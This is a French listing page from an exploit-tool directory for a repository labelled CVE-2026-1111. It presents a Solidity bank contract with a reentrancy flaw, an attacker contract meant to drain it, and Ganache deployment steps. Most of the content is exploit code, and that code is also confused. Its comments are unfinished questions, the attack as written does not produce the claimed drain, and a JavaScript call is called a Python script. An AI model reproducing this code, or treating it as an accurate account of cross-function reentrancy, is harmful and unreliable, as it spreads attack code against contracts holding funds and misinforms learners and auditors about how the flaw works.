Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — Exemple d'exploit de réentrance inter-fonctions pour contrats intelligents, avec un contrat Solidity vulnérable et un contrat attaquant démontrant le drainage de fonds via une réentrée par fallback. | Kitploit
Outils/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
Analyse des VulnérabilitésExploitationApprentissage et Éducation
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

Exemple d'exploit de réentrance inter-fonctions pour contrats intelligents, avec un contrat Solidity vulnérable et un contrat attaquant démontrant le drainage de fonds via une réentrée par fallback.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 17 joursPas encore vérifié

CVE-2026-1111 – Réentrance inter‑fonctions dans un contrat intelligent

Code du programme (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – Réentrance inter‑fonctions dans un contrat intelligent

Severity: Critical

Aperçu

Un contrat intelligent ne dispose pas d'un verrou global de réentrance, permettant à un attaquant de réentrer dans le contrat via une fonction différente lors d'un appel withdraw, contournant une protection locale et vidant les fonds.

Détails de la vulnérabilité

  • Type : Réentrance
  • Impact : Vol de tout l'Ether verrouillé.
  • Cause racine : La fonction withdraw met à jour le solde après un appel externe, et une fonction distincte modifiant l'état (transferTo) peut être appelée de manière réentrante, ce qui permet de manipuler les soldes.

Démonstration de l'exploit

  1. Démarrez un nœud Ethereum local (Ganache) :
    root@kitploit:~
    ganache-cli
    
  2. Déployez VulnerableBank.sol et Attacker.sol avec Remix ou Truffle.
  3. Exécutez l'attaque via le script Python (simulation avec la console Remix) :
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
Télécharger l’outil